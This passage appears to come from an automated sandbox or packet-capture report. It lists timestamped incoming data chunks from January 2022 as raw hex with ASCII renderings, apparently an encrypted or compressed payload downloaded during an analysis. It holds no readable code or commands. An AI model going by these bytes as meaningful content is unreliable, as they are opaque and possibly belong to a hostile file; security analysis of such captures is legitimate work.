e1 af c6 Data Ascii: rtkI?#)s3:P]9F;S[90&zSUV8NX:Ja+Th,nZxa_NXzt;jZZc'~9yx\|~i0-~xrXC;BT72_Hhczrmac%lMbg0DUL7;hL
2022-01-14 03:59:52 UTC	5454	IN	Data Raw: 4b 40 1b 88 b6 44 2a 51 d0 b9 1c 10 d4 5e 1e 4c 59 00 50 06 53 4f 9b 25 68 39 48 1a ed fb 4d 2e fa ce 62 6d 77 62 cf 70 77 9e eb 80 95 3e ed a8 10 d5 c9 6b ac 52 fb ec fd c7 8c 98 ac 32 a8 b1 17 d9 77 84 7a 2c 81 d2 33 5e 3e 2a 8f b7 70 33 5c 35 76 00 41 46 a6 f5 7d 65 b3 31 74 b7 b8 20 79 a5 54 20 bf 4d 4f 0f 34 73 0d 3c 20 b4 7d 56 23 50 d4 c3 af 9f 17 b6 ca 8d 4b ac 2b 03 14 81 97 1f 45 4e 03 0f b8 36 cb f2 7e 4a 14 8b 4f 32 bd 4e 50 3e 38 91 65 2a e9 9d 40 9e f0 c4 50 5f 50 ab 36 be 62 6d 73 8a 82 21 f4 a7 ac 58 c7 c4 ee be 76 98 da db 24 f0 35 60 26 23 05 2d da 97 cd 5e 52 e7 ef 60 a4 e0 9a d5 d2 4b a7 e7 de 54 19 a7 96 c5 89 c5 f4 a3 11 1c 3f 2f e2 04 0d 04 82 3e 2b 9e 42 e6 e0 13 aa 08 c7 84 3b 13 d7 a8 d3 c7 ac 4d 1c 59 e7 c6 47 04 40 fb 4d 48 8f Data Ascii: K@DQ^LYPSO%h9HM.bmwbpw>kR2wz,3^>p3\5vAF}e1t yT MO4s< }V#PK+EN6~JO2NP>8e*@P_P6bms!Xv$5`&#-^R`KT?/>+B;MYG@MH
2022-01-14 03:59:52 UTC	5470	IN	Data Raw: 80 b2 ae 13 98 7b 40 14 7d 84 91 44 1e 11 40 62 6a 13 8d 9a 1e 51 37 b9 53 b7 2a 34 b4 fc ff d4 c3 07 35 8b 5a 56 d7 5c a3 8b 36 a5 dc c9 2c 73 d1 02 d6 7e d2 42 56 6d fb 9f 37 ef 15 d9 0c 1f fd 3e 44 b4 60 f0 11 f7 d4 a0 24 0e 7e 27 be 07 72 ed 80 91 6b cd 3f 9d e4 08 f2 48 0f d8 7b 5b e6 11 d0 0f 11 e1 b5 b1 0d 3f d5 c0 0a c5 34 77 19 3f 6a 93 af fb d9 6b ba dc 38 77 2c 14 79 97 1f 59 59 c9 b8 e0 1d 54 e0 86 e4 7a 7b 3b 0f f5 21 96 2a 02 29 ee 22 02 12 bd 6c 6f a0 48 e4 b2 24 29 c5 f5 fe d4 a4 a9 3b d4 35 65 83 48 2a 87 d6 7f fd b2 87 40 4a ea 5b 54 21 5d 54 0c fc 36 4c f0 72 89 e9 c0 af 47 24 b8 22 ab b0 b7 98 0c 77 8c 0e 83 53 7b a5 74 9f c1 89 ca d0 33 1b c6 3a 84 ee 56 90 c6 61 10 33 ae 5a 1f b6 8c 43 96 f5 71 00 e7 75 3d 07 bb a6 d6 46 7a 72 a8 ef Data Ascii: {@}D@bjQ7S45ZV\6,s~BVm7>D`$~'rk?H{[?4w?jk8w,yYYTz{;!)"loH$);5eH*@J[T!]T6LrG$"wS{t3:Va3ZCqu=Fzr
2022-01-14 03:59:52 UTC	5486	IN	Data Raw: 01 ed bf 2c c7 31 ac 60 ed 7e 0c 4a 1d a5 aa c6 94 d2 ee b7 bd 38 b7 51 6d 39 33 5e e4 91 33 6f ba cb 05 82 98 5b 61 8e 43 25 a5 e5 a9 74 df f8 b7 ea c2 ee 6c ed a5 cc a3 3a da 18 d4 7a 1c f6 f0 ab d7 36 fb c4 79 4e b4 52 2c 73 46 fb e7 c5 d1 1e 95 8a c2 a7 d7 d6 cc 54 d4 bb e7 18 b7 47 db 37 ed 41 b7 00 e0 bd 07 59 95 c4 c6 a0 fe 67 99 e8 a8 a8 d9 a2 39 55 93 ff 13 46 2c 87 16 4c 73 24 c3 3e e6 4e 4b d9 57 29 fa 43 96 56 a5 56 72 e0 27 3b ae af f4 91 8f d2 24 9e 60 7e fc 28 61 e0 26 cb 99 3f d1 c5 fb 7c 70 d5 bb 44 e9 e3 6a 79 76 bd df 5a 39 29 a5 7c 04 cd 45 cc d1 f4 73 b3 58 b5 60 b5 1d d0 56 d2 2d ea cb b3 d3 be b9 50 ec fb a3 3b cc cf 7e b7 25 f6 35 ef cf 74 9e e7 af 80 95 b1 c9 cb 99 83 45 98 fa 89 78 23 1b c8 9f c8 13 0f 1f 23 66 da cc df 29 d2 43 Data Ascii: ,1`~J8Qm93^3o[aC%tl:z6yNR,sFTG7AYg9UF,Ls$>NKW)CVVr';$`~(a&?\|pDjyvZ9)\|EsX`V-P;~%5tEx##f)C
2022-01-14 03:59:52 UTC	5502	IN	Data Raw: d3 a6 fc 65 08 7e 23 d6 3a 87 b8 b3 0d 07 ed 0d 70 03 bf 51 ec fa ac 47 b1 13 28 18 1f ed 75 d7 6d 10 3b 14 66 06 0c 06 57 0b 28 63 d3 33 80 e7 ba 46 18 be 19 05 c6 ff 49 31 cf e3 34 db d2 08 a2 3e 41 20 ff 21 2b 67 f7 e5 68 6a a6 16 a4 4b c9 02 f1 aa e5 aa 19 2a 63 d6 80 83 47 d3 87 39 e1 b3 13 b7 d1 51 fb 80 78 6a 63 19 f1 a6 12 75 34 b0 1d 84 62 fb 21 c2 e3 e6 1f 67 60 8f 79 ad ed 90 b0 e7 1c dc 25 55 88 08 04 24 03 73 e4 2a 00 a9 a6 3d 4a d9 aa 20 8f 5e 9f d0 3a f9 a7 5b d3 02 f2 20 d5 1c e4 28 12 4e 87 9d a2 c6 b8 39 96 30 1c f2 1f 9b d3 6c 6d a0 78 45 d1 44 72 46 54 52 5b 89 65 95 12 f2 b7 77 36 b1 88 b9 b1 f3 cd 2b 24 5a 1a 4f ac 46 cc 07 b5 aa 45 d1 c4 c5 40 42 04 14 d2 00 c4 f6 45 1e 46 35 17 11 e1 1b 0e f1 d0 db 32 13 78 b4 e9 fa 11 be 09 9c db Data Ascii: e~#:pQG(um;fW(c3FI14>A !+ghjKcG9Qxjcu4b!g`y%U$s=J ^:[ (N90lmxEDrFTR[ew6+$ZOFE@BEF52x
2022-01-14 03:59:52 UTC	5518	IN	Data Raw: a4 d6 b2 bc 18 79 b4 07 40 a6 86 08 87 b9 02 02 53 96 39 b1 22 78 fa 7e 7f 12 28 1f 0d 90 2e 8f 25 4e 5b bb 5f 7d 9a 18 e5 87 2a 4b 05 52 6a 45 9d 8c 76 92 24 52 c2 2d 42 c4 2c 7b 5d 83 23 69 2b 07 b0 7a 83 19 e6 74 e9 14 10 58 e2 1e 5e 00 e8 60 14 b1 2e 44 bb de 8a 88 6d bd 54 f1 cc b9 8e cb 2d 10 08 2d 2d 2b 50 f0 00 80 ed 8f 8d d0 a1 50 a0 0e bd 69 e5 0d 41 1d 8d 21 5e 75 35 96 44 5c 32 cc 35 3b 41 da f7 3f 8d 79 5b 1f 76 7a e9 1a e3 5f 16 93 4c 6a 05 d2 d4 8c dd 8d d4 04 f2 4e aa 49 ad c5 79 8f 8f 5d 6d 59 3e fe 8b a8 a5 af 5a 7a 21 5c 81 7c 45 15 39 35 b9 0b fa 2e 45 37 73 de 6d 6b 03 24 9a 90 2f 0e 1b ef ad c7 cd 7b 98 2c aa 2d f4 01 2a e4 f1 bd 29 ed da 86 07 8a 02 e2 94 17 74 c0 aa b7 6a 6b 3e b2 25 26 7f fb 08 c6 bc b2 f8 36 68 80 3e 30 c4 8e f6 Data Ascii: y@S9"x~(.%N[_}KRjEv$R-B,{]#i+ztX^`.DmT---+PPiA!^u5D\25;A?y[vz_LjNIy]mY>Zz!\\|E95.E7smk$/{,-)tjk>%&6h>0
2022-01-14 03:59:52 UTC	5534	IN	Data Raw: 86 16 71 84 02 bb c3 21 10 d6 d0 f2 61 58 c1 85 ab ed 9c fb e0 ce bb 5c 2a 18 96 8b 2b bc 31 fd 0b 22 9d 9d 4f 60 58 fe 23 7b 6a 5c 23 dc 92 b8 05 a9 37 cc ff 4a 2f 30 0a aa 35 f5 91 00 ab 2f ac 6a 1e e7 3d ec c2 79 4a 70 87 e5 38 82 17 49 92 60 d8 e5 8e d1 bf f8 05 14 24 a6 9a df a7 ae cc 2b db 95 82 95 92 f6 f9 d9 88 25 6d 6c 3e 39 92 1c 4e da b6 4d 2c bb 2e 1b bf f9 59 17 e7 e0 e8 08 ee f9 3a 5d fe 4f b8 f8 ed 6a 86 c7 6d 4f 16 75 dd 58 0a 97 c6 1b 94 b2 02 30 a1 bc 7c 51 0c be b4 8e ed 4a 41 6a d6 1d 22 1e 29 c8 3e 95 c0 d3 0f 1f 56 69 55 5e 42 9e 21 27 15 83 37 31 74 95 79 a0 0d ff 29 56 08 09 ff 49 e1 7a 01 48 fe 36 03 a5 07 e0 1e 07 da 99 a8 15 c6 36 fe 66 3c 31 37 d1 27 27 dd 61 d1 ae bc d5 80 69 05 91 85 d5 75 57 35 15 75 0a a9 23 21 16 29 59 11 Data Ascii: q!aX\*+1"O`X#{j\#7J/05/j=yJp8I`$+%ml>9NM,.Y:]OjmOuX0\|QJAj")>ViU^B!'71ty)VIzH66f<17''aiuW5u#!)Y
2022-01-14 03:59:52 UTC	5550	IN	Data Raw: 35 43 68 2c 7b 36 bc 56 e3 b6 dc 49 21 59 cb b9 cd 09 f8 d3 5f 45 25 73 ac e3 18 92 80 91 83 e9 e6 aa ba c4 a0 47 d5 73 ae c2 a6 d2 12 2d 2c 85 ea 6a f0 eb e6 31 87 c6 67 d4 20 15 35 9c ac 54 c0 ad 8d 08 e0 a9 24 a7 85 19 11 af 0c 26 ef 86 55 06 cc 42 88 b9 70 ea 7b 59 eb 5f 6b 57 f4 60 a9 ab 28 6b 57 33 9d 53 a0 2d 5a 69 21 0a 52 bc c1 6e 70 e9 4f 0e ba cd e2 2a ff 8b 0e 04 ab e4 d6 85 a7 b2 f6 7a 17 ef 03 8a fb 80 43 00 df 27 f0 ba ea 34 e4 67 e2 b2 c5 75 fa e8 f3 50 c8 41 e0 80 a4 10 6e 19 6a 22 a6 fb c6 ea c3 5a 43 23 f6 90 2f 26 90 4e bf 99 5e 93 22 e2 d0 63 ef f1 05 fa e6 17 6c 4a cb 62 3c d8 66 ae 25 7b cd 59 5d 64 d6 a7 43 9d 20 3e 12 20 90 fd bb 6d 15 0b 1d 87 93 b4 b2 fa 21 9c 0e 94 f8 5b 14 63 4d 3c 2e 4e ff 96 fe bc 64 5c 50 ff f5 3f db 3f a5 Data Ascii: 5Ch,{6VI!Y_E%sGs-,j1g 5T$&UBp{Y_kW`(kW3S-Zi!RnpO*zC'4guPAnj"ZC#/&N^"clJb<f%{Y]dC > m![cM<.Nd\P??
2022-01-14 03:59:52 UTC	5566	IN	Data Raw: 93 73 3b 01 0f 84 24 5d 4a 07 fb a3 a0 a6 8b 20 f9 73 94 4d c1 41 d0 90 50 4f 98 d0 49 d7 1e a2 1d 14 12 70 e4 b2 f2 59 f4 fd 8c 03 a9 c6 6e fd a0 7f e2 22 1c de 45 6c af a6 da 12 c2 0c 69 30 4d 57 f0 72 cf b7 e3 6c c6 8b e0 76 5d 8d a3 69 da af f8 46 cd c0 31 bd 86 42 12 99 5a 86 b5 10 36 0b b1 6f 36 bd 84 12 f3 4a 17 66 67 a7 c5 20 2d 96 61 61 a1 30 e5 2d a0 8a 49 d8 59 2d 42 a2 27 86 21 de 38 34 36 c7 9d ca a5 02 91 77 77 c9 a2 6e 2a e3 9b 8b b7 50 c0 db 03 da 5c 53 b5 0f 06 69 19 2a 0a c1 e1 0a 79 0c 3f 63 e2 87 c1 88 97 29 dc db c2 c6 9b 28 19 8c c0 1d c7 60 ac 49 1e a5 2b c8 a5 a2 dd d9 9e 0d 75 b8 53 9c 02 f6 ea d6 3d 7f 4e cd 9b 3f f1 8c ec 01 2a db 2d 8d 6b 05 16 4b 22 a1 81 97 18 2a 02 af 25 22 67 4e c3 29 e0 57 a5 43 02 2c 4f 99 9c 17 b4 0b ec Data Ascii: s;$]J sMAPOIpYn"Eli0MWrlv]iF1BZ6o6Jfg -aa0-IY-B'!846wwnP\Siy?c)(`I+uS=N?-kK"%"gN)WC,O
2022-01-14 03:59:52 UTC	5582	IN	Data Raw: 9d 23 58 af 52 08 63 74 b5 f1 c9 6d eb 1b 73 d4 16 6f d7 48 d9 ce 24 7f 0e 54 34 66 f8 45 5a 1b 2b 15 7c 60 b4 22 bb 10 e8 f3 16 eb 33 d8 d4 5e 13 8b 5a 88 ac 2c 76 56 50 1b 82 f9 50 91 f9 4c 94 17 44 97 f5 80 82 e2 df 70 e4 3c 62 34 f7 92 ef 20 cf e9 52 07 f3 b6 29 e6 29 83 5e 23 db c4 ab 83 89 c4 00 6e 1a 20 d2 81 fe 2f 93 7f 65 a6 b7 6a 63 1d 86 e0 a9 c6 8b e3 9b 27 ba 89 e3 f5 56 4f 94 40 1f 2e 38 d9 96 99 20 39 00 7b 49 71 51 09 63 ea 65 c0 c1 66 a9 12 a3 55 09 e7 db e0 13 44 e9 89 f7 99 ab 90 a1 b5 1d cc 59 b4 39 91 1b 96 3e d2 e5 80 2c d5 94 84 24 f4 aa e2 58 ad 1e 0e 04 4c a7 be 0b b9 f7 f0 b2 43 52 c6 b7 a0 e4 0a f8 79 08 ef 0f 97 04 69 8f 71 a9 fa a7 21 d2 f2 d0 be c4 3d ee 6a 9f 0b 44 06 f0 6f 57 ff 1b 35 4b ba 85 1a 85 3b 98 fc 11 66 ce 5b 76 Data Ascii: #XRctmsoH$T4fEZ+\|`"3^Z,vVPPLDp<b4 R))^#n /ejc'VO@.8 9{IqQcefUDY9>,$XLCRyiq!=jDoW5K;f[v
2022-01-14 03:59:52 UTC	5598	IN	Data Raw: 9b 35 9f 39 85 a2 82 0a 80 c6 6f de f0 54 6d 3e 26 b8 85 f2 e1 29 9d b4 d3 ac 09 e1 db 6a 0d 2c 9b f8 42 2b 0d 1c 24 fe e9 4f 91 c3 be 12 69 33 de 66 97 79 e4 31 5d 32 53 77 0a 27 55 19 a1 0c 5c 85 4e 5d c9 36 e8 51 99 08 db 94 e5 69 cb f1 4e ca 01 6a a7 84 16 50 61 5a 85 dc 96 e6 8a 5d 96 59 32 15 ce 1a b9 bd 95 62 4c f8 6f 1a 86 06 b6 2d 66 2a 52 48 58 56 d7 cd 88 1e 96 f1 34 70 93 83 27 63 5c f7 ba 93 4e 91 61 8b 2d 56 b9 0b 8f 86 3b 4c 6b de 1a db 0b 2b bb 9b 76 31 bf f0 83 64 d2 74 9f cb e9 75 43 17 a1 32 47 90 7a 51 51 52 a2 48 ff d9 ec ce 96 48 ff c3 e6 16 68 a6 c5 6a 28 2a 38 ff 39 d6 2e c5 6b b9 7c f7 f5 34 5d b3 12 41 81 cc 6d f0 6d bd ac 60 4b a8 9c 7e c4 ba 59 1d 95 0b d2 bb 05 1c 1a d4 fb 40 a4 21 17 0e 18 0e 6a 2d 36 26 f4 39 da 2c bc 05 f6 Data Ascii: 59oTm>&)j,B+$Oi3fy1]2Sw'U\N]6QiNjPaZ]Y2bLo-fRHXV4p'c\Na-V;Lk+v1dtuC2GzQQRHHhj(89.k\|4]Amm`K~Y@!j-6&9,
2022-01-14 03:59:52 UTC	5614	IN	Data Raw: 7a d8 44 a4 ec 0b e2 2c b9 7b e4 70 3f 8e 60 12 df 2a 11 18 48 89 6d ff 72 52 a2 6f 8c 9a 28 d1 b1 da a0 4c d4 87 dd 8f 0a a9 56 0b 49 f7 9f eb 52 6b 4e 05 61 60 4a 3e ce ef 61 c3 72 3d 95 7c 2d 6e 1d 39 27 89 a4 0b e6 b0 79 4c f2 69 5c 41 b4 0c 95 ed 70 73 ab bc c7 f8 be 0e 5c 06 73 c8 49 d4 fa b5 27 23 e0 d7 2a a5 6d 4e 3a 4b e1 da 3a 0d 45 96 ee d0 87 f6 bc e7 42 e1 9f 8f dc 36 db 1c bb f3 f1 84 d3 c7 ea df db 53 82 2c 39 c5 64 92 00 61 ea 19 ab 64 b5 98 60 3e 64 c1 4b d2 c9 25 2b 98 5a 7f 70 66 a9 33 4f df d8 e9 4e 58 17 96 56 97 50 4c b2 a4 0f fa 53 8b 7b f8 a0 6f 9f 1c fc 65 e9 e7 74 80 5e 8f 96 43 f8 57 13 c2 6a 89 9c f1 90 f1 6d c9 a2 34 7f e8 da aa f9 08 ef bd ee 69 2f f8 4e f3 1d a9 61 e6 2a 57 c4 ba 1d 58 76 cf 1d 25 6f 7f 89 80 12 92 ce cc 9d Data Ascii: zD,{p?`HmrRo(LVIRkNa`J>ar=\|-n9'yLi\Aps\sI'#mN:K:EB6S,9dad`>dK%+Zpf3ONXVPLS{oet^CWjm4i/Na*WXv%o
2022-01-14 03:59:52 UTC	5630	IN	Data Raw: 92 db 98 bf 72 4b c2 c5 d5 b4 0f 8d b3 27 ba db 03 8d b3 4d 84 ec b9 0b a1 58 f4 b5 19 a5 ed ee 3f 69 8d 01 6b 64 17 c1 0b a7 b9 ed ac 56 9c 5d ab c5 26 48 98 c7 36 bf ee a5 8e 75 21 e7 7e a4 73 df 39 9f 6f b0 bd de f5 8d 35 2a 84 c2 cf 2f 1d 5c f7 13 30 b0 03 94 90 e1 4f 45 e9 7d 5d bd 46 31 d7 fb 7a 3d 0f 00 d4 d1 98 45 5f f3 e9 1c 54 d0 31 44 b9 45 94 46 b8 fc 91 ca 9b d7 8f 2f e4 0a 6d 53 88 db c1 f5 1b 1b 0a c0 b2 1c f8 7e a7 82 9e 11 7f 38 8a 8a bd 70 cd d5 73 6e db af 07 de b2 27 04 56 22 d5 72 ad 63 4b a5 1c 7e 33 4b 7e 40 97 1b 1b ec c4 95 2b f9 03 e3 84 63 aa 73 b7 d7 55 e4 5b fc 3c 55 e6 8d 9a 35 c1 98 d2 07 5a ca 93 18 ba 42 45 7c 2c ce 7c ca 4e 97 36 60 22 0e a2 90 18 cc ea ca 9d 60 3b 6b f7 38 1d 18 0f b9 50 ba 5a a3 62 03 04 10 80 68 8a ef Data Ascii: rK'MX?ikdV]&H6u!~s9o5*/\0OE}]F1z=E_T1DEF/mS~8psn'V"rcK~3K~@+csU[<U5ZBE\|,\|N6`"`;k8PZbh
2022-01-14 03:59:52 UTC	5646	IN	Data Raw: 85 49 f2 c4 31 32 18 72 90 e8 5e f0 25 a1 4b 78 25 12 63 3b 86 41 31 d5 f9 bf 59 c3 c6 66 be 0f ea 64 8d d5 e2 36 71 b3 d2 16 bd be 0e 81 db 1c 81 16 37 53 e3 5e 87 23 eb 1b 40 6f fc a9 ff a1 b2 24 cb 6d a5 b4 a0 9e ac 5f f7 21 f0 18 a1 0e 43 dd 39 f5 ac ce b8 1f 17 67 7f 14 43 90 47 22 57 5b 5f 1c ec b6 2e e7 90 50 e9 2c 3d b5 89 0a 8b c5 3c 33 71 c0 a9 2a b0 3b 1a d7 12 3a 70 b0 73 ec 75 02 04 ed ad f0 07 01 ae 13 bc 8e 6f 62 e5 c9 52 c3 31 73 5a 76 29 1e 4d a4 f8 3a 70 d9 11 65 57 44 2f a6 11 ab c5 d5 16 af 0b b0 36 fa ed f8 9d 6e 3a b7 83 66 9b 5d 7e 3f 5c 24 1c a2 18 89 12 f3 c4 c6 99 6c fe a7 79 00 cb 86 b8 18 eb fd 7d 29 fa a3 42 1e 94 3d e1 10 0c 35 5b 5c ca 9f 63 22 ff b4 0e 26 de d9 bb 94 dd 2f b0 43 d6 82 31 2c c1 0c a0 91 26 e5 2a 67 b4 c5 27 Data Ascii: I12r^%Kx%c;A1Yfd6q7S^#@o$m_!C9gCG"W[_.P,=<3q;:psuobR1sZv)M:peWD/6n:f]~?\$ly})B=5[\c"&/C1,&g'
2022-01-14 03:59:52 UTC	5662	IN	Data Raw: 9e 97 73 17 ad a7 3b 95 9b 2a bd 75 5f b6 96 58 dc e8 8a 34 6e 41 bc b1 7d e6 31 ff dc 61 5f e6 b0 9d c2 90 cb c8 b0 d0 77 63 bf d2 58 00 22 03 8b f8 b8 36 d1 d1 08 cf 1c 88 28 e7 6a d3 3b 3f 9c 2d d3 b2 e9 a9 12 8a 72 21 2d 94 2e 6e 14 15 59 5f e8 98 9a 78 85 25 4b d0 62 ab 45 97 56 ad f3 19 ec 2a 7f c7 ed e9 5e 80 eb de 85 a8 5d 20 e1 45 be 9c b2 ec 95 97 a4 c4 50 dd 2a 2f 91 68 a4 6d cd 93 3f 72 22 77 50 70 2e aa 7b 11 5f 76 fb 04 14 a2 05 9e be ca 18 fc 9b cb de 89 ea 1a fa 1b d3 cb 03 e5 ef 2e e8 af 2d 38 9b 93 56 8d 32 44 c9 7a 97 46 2b 1d e3 44 54 31 87 74 af 79 2d c0 c3 23 1c 70 5b f1 a2 06 e6 b8 a1 97 4d 0c f4 e0 39 c7 c9 d0 a7 76 9a c4 7c 6f db 4a 65 d6 69 f1 e7 e7 09 ee 9d 6b e1 12 14 2c 34 4d 06 d7 82 90 de c8 46 50 2f 7c 76 14 98 bb 2a bd 41 Data Ascii: s;u_X4nA}1a_wcX"6(j;?-r!-.nY_x%KbEV^] EP/hm?r"wPp.{_v.-8V2DzF+DT1ty-#p[M9v\|oJeik,4MFP/\|vA
2022-01-14 03:59:52 UTC	5678	IN	Data Raw: 3a dd ab 66 e6 81 f7 ff e2 1e 80 b3 18 8a 54 06 fe a6 ce 8d 42 ac 70 a0 7c 7b 79 fd 95 17 e5 92 3a 23 4c 82 66 46 38 93 00 61 22 02 9a f6 61 55 82 55 7e c9 8d 6b a4 a4 6a 39 cb 60 db 9e bb 09 ec 88 83 a7 2d b5 c8 59 cd a0 f4 a2 44 94 be ab 04 14 3f cf 4c e5 fd 85 65 ce 50 81 1d f4 85 e7 1f 1c 5c d3 8c 7e 97 18 13 7e a2 a2 f2 1e fd 10 5d 70 f7 bb 56 13 f6 78 89 91 1f 68 e5 40 6b 0b 6b 40 99 ae a3 bc 75 57 94 75 5a de 54 bd a5 0b 2e 15 a9 cc b6 d1 4e a1 42 0f 8d 40 84 22 88 00 d0 63 b3 1c 10 f4 f8 cf 6c 69 b2 84 4e e0 a2 1f 0b f3 f1 b9 5d 5c b1 10 35 44 fc 23 06 f7 96 8e 37 6d 7c 19 cb af f0 e2 0b 1c 44 c3 93 d9 eb 0a eb df 76 f0 3f f1 25 8d c7 f1 2f c2 87 0e d8 89 a8 24 bf de ec 03 48 be 04 96 8a 07 63 3e 7d 88 3d bf b8 c0 e2 13 0a c3 bd 13 d0 20 92 80 b7 Data Ascii: :fTBp\|{y:#LfF8a"aUU~kj9`-YD?LeP\~~]pVxh@kk@uWuZT.NB@"cliN]\5D#7m\|Dv?%/$Hc>}=
2022-01-14 03:59:52 UTC	5694	IN	Data Raw: ac 39 69 cd b9 bd ab d4 56 a9 23 6c f1 84 08 43 b1 36 02 28 79 f8 a2 1b a0 43 2f 40 46 62 55 1b 9b 89 50 b5 da 9f 83 db bb f6 14 f3 5e 18 32 f3 c4 dc 0e b8 6c 77 c4 81 50 55 bd 4f cf 7e fc dd 16 ee 2c 86 71 8a 0b ce 5e 0a e7 bb fd 48 44 5d 6c a3 58 2c 2e f0 66 50 15 b9 46 4c 1f 4e e0 f9 9b a2 82 02 fd 3e a7 ab b2 96 c1 08 b3 dd 60 f4 52 83 01 4c 23 63 41 d8 aa 3b f4 14 1f d3 62 77 5d e8 ab c2 1a 09 1c 6f 97 76 d7 b0 44 80 98 33 da 47 f1 0d 95 6a 0a 19 28 61 52 c8 06 e5 48 73 ce 12 6b e5 22 cb 2a c1 83 c4 44 f7 84 96 fc f9 3f 66 29 ee 4e 30 61 02 74 8d f8 4c cc b4 70 17 82 aa 96 bb 13 f1 2f 7e 24 18 23 7b 10 09 f2 23 97 09 84 8a 0d dd 9a 9c 95 79 64 1f 38 13 40 ed 5e b5 e6 df 27 84 35 3f 06 38 5a 31 81 69 6e c9 3d 45 dc 4e 5d b4 44 8f bb 4c f9 01 f2 32 6d Data Ascii: 9iV#lC6(yC/@FbUP^2lwPUO~,q^HD]lX,.fPFLN>`RL#cA;bw]ovD3Gj(aRHsk"*D?f)N0atLp/~$#{#yd8@^'5?8Z1in=EN]DL2m
2022-01-14 03:59:52 UTC	5710	IN	Data Raw: a7 85 91 11 ec 03 1c 66 0a c9 d3 39 ba 8b f2 73 ea 56 7d 6b 7f ae f9 03 3a 32 c0 65 19 ca 48 7d 4d 8c 2a ba 79 b2 b0 d4 c7 6e 34 06 df f3 08 9b 9f 94 53 9a ca 84 33 1d cb e0 a0 1c 8d 5e fe 42 b8 2f 92 03 40 0e 36 f7 66 ae 17 a2 ea d0 5c e9 43 dc d4 2e 1f 8f 5e 29 a4 34 45 9b 5d ad aa 20 26 57 2e 5f cb 99 63 b4 72 19 ec 57 ab 85 44 23 84 6a 78 31 ae 89 ee 5c 0f 24 0d 6b 54 83 f3 e0 16 20 cf fd 6c e2 f6 7d 26 9c fe 5a 5c 9f b5 0b a0 64 e6 3f d0 86 69 9f bf 88 a7 4b 73 98 be f5 a2 68 7c 0b 5c 95 c3 83 08 8e e6 ae 9a fc 85 f2 de 33 f0 35 3d 55 37 9c 46 d4 b7 6b 00 07 b9 e1 c0 d6 ec cb 78 d2 1b 16 ce 03 55 63 86 cd 34 99 28 f4 70 2a 0f 8d 30 62 0e 2d 7b a1 c0 17 6f 57 3b 14 f8 c4 07 f4 9b 66 7c a0 e0 0c cc 6e 3a 88 0d 6b e9 db 94 38 fc b0 ad ab ba 5c 48 dd cb Data Ascii: f9sV}k:2eH}Myn4S3^B/@6f\C.^)4E] &W._crWD#jx1\$kT l}&Z\d?iKsh\|\35=U7FkxUc4(p0b-{oW;f\|n:k8\H
2022-01-14 03:59:52 UTC	5726	IN	Data Raw: 3a 67 28 4e 22 9d c3 db 9d fc bd c3 3c 81 7a fe 6a 47 d5 bc b5 46 29 c7 0a bc b4 d2 e4 d5 06 54 77 7a 08 38 c0 88 4d 07 1f 83 bf 5e d6 d6 ae c5 04 37 af 0d 81 42 6b ef 98 99 b8 8e 94 ce d8 a7 b2 61 f7 b7 9c 9f 73 19 68 41 f3 1a da c7 0a 02 f8 2e 02 48 4f 0b 27 13 ec 9f 85 81 3a ec 37 18 f9 43 b6 7e c8 78 f1 ea c7 85 d6 b5 57 72 80 c6 22 e0 47 a8 5c c8 c7 1b 8a 8b f3 71 ec 8b 59 0e df 56 7c 5d dd c2 e8 2f e7 e4 61 68 de c0 a1 aa 1d 78 28 7d 7b 68 0b 66 7d 7f 77 45 94 5b d0 ab de 44 4d 3c 77 cc de fe 82 6f 86 78 9d a4 5f ab 1c 19 fa b5 88 c6 95 77 05 ba 38 20 e0 76 35 7b ce 18 7e 49 60 ed 32 85 90 5f 72 e6 50 73 8f d8 9b 9e 6d 0c 9d e6 72 30 27 c6 6d c5 d6 0e 97 80 3f 4a 1d e5 5b b9 17 17 df e7 5e 4c 80 a8 fc f2 e6 62 99 9d 6e 3c 70 d7 5b d2 b0 d7 8c b9 26 Data Ascii: :g(N"<zjGF)Twz8M^7BkashA.HO':7C~xWr"G\qYV\|]/ahx(}{hf}wE[DM<wox_w8 v5{~I`2_rPsmr0'm?J[^Lbn<p[&
2022-01-14 03:59:52 UTC	5742	IN	Data Raw: 06 39 85 21 59 86 9e a3 15 3d 25 33 b6 56 49 e1 47 35 cd 92 e3 15 ac 40 be 81 c4 f3 2a 9a c9 09 aa de e1 74 a8 c0 2f bd fe a7 62 50 5d e3 7a d5 bd 90 e2 8d 6f b2 1b 51 75 ee cb a5 6e bc c5 87 88 f3 79 9d 43 fd 1d 80 80 fd 5d ef b7 70 f3 e4 f0 cb af 8e 85 19 7c d8 56 56 34 52 10 1f 5e 68 3b 35 86 65 94 55 53 d7 ea 8c 85 b4 eb 89 be 83 c1 c8 d2 e5 e2 af 48 7a 91 47 52 92 8e 54 bd a1 ee 33 1b eb 3b 31 cc 66 e3 f1 91 8e 72 0b 7f bb 48 55 2e 2d 1e ef 7f 63 43 1b 13 23 32 47 f7 c6 31 d3 6b 69 a8 6b b4 27 16 ba d8 d0 a0 81 7d 0e 89 a2 b8 7a 5a 6d 92 c5 2b 2e f1 4d ef fb f4 4f 8d 87 10 eb 5b 39 c0 a8 b9 bb 2b 07 16 19 2a de 45 db f8 ca a4 e3 5f 25 ac 5e 3d b1 18 25 6a 6c e3 c9 a0 6a 42 ab f8 59 f5 70 fa 5d 4b fa 67 15 b1 cb ba c2 a4 5f 91 3e da 08 30 3a 4c 62 f8 Data Ascii: 9!Y=%3VIG5@t/bP]zoQunyC]p\|VV4R^h;5eUSHzGRT3;1frHU.-cC#2G1kik'}zZm+.MO[9+E_%^=%jljBYp]Kg_>0:Lb
2022-01-14 03:59:52 UTC	5758	IN	Data Raw: 43 93 b8 d8 9d f6 f6 a3 06 03 28 17 37 f7 01 42 c5 20 54 05 7a aa b8 89 d8 7b e5 4d 61 2d f5 85 38 b6 16 a2 73 f8 ca b7 9e ec ba ec 41 74 26 e1 57 b5 3f 1a c3 05 03 a4 c1 a3 3f df 48 b7 e1 70 d8 b2 48 26 cc 86 8e 85 99 16 d6 c7 4c fc b7 23 ab 5d 1f 79 29 ea d3 bc e7 e1 e9 fb c8 c4 73 f0 33 81 d1 eb 93 b3 9c 16 7b 4b 8f 1b d5 0e 1c 58 20 b5 1f 27 90 cd ff 89 5b 96 43 c3 10 ec a0 64 c4 05 b0 94 30 74 50 69 85 f9 1a 27 06 58 b4 76 74 02 c9 0b 99 67 52 97 e6 07 60 e8 83 50 c2 04 35 f0 b1 ea f3 87 34 0e 2b ff 82 7c 7e 8c 9e 31 dd a0 8d e4 e6 35 1f 0e 3b c6 bc 8c 60 a1 62 1a fa 49 4f 64 b9 af 52 72 3a e3 a3 62 ae 71 8f f5 49 19 f9 cd 52 aa e4 06 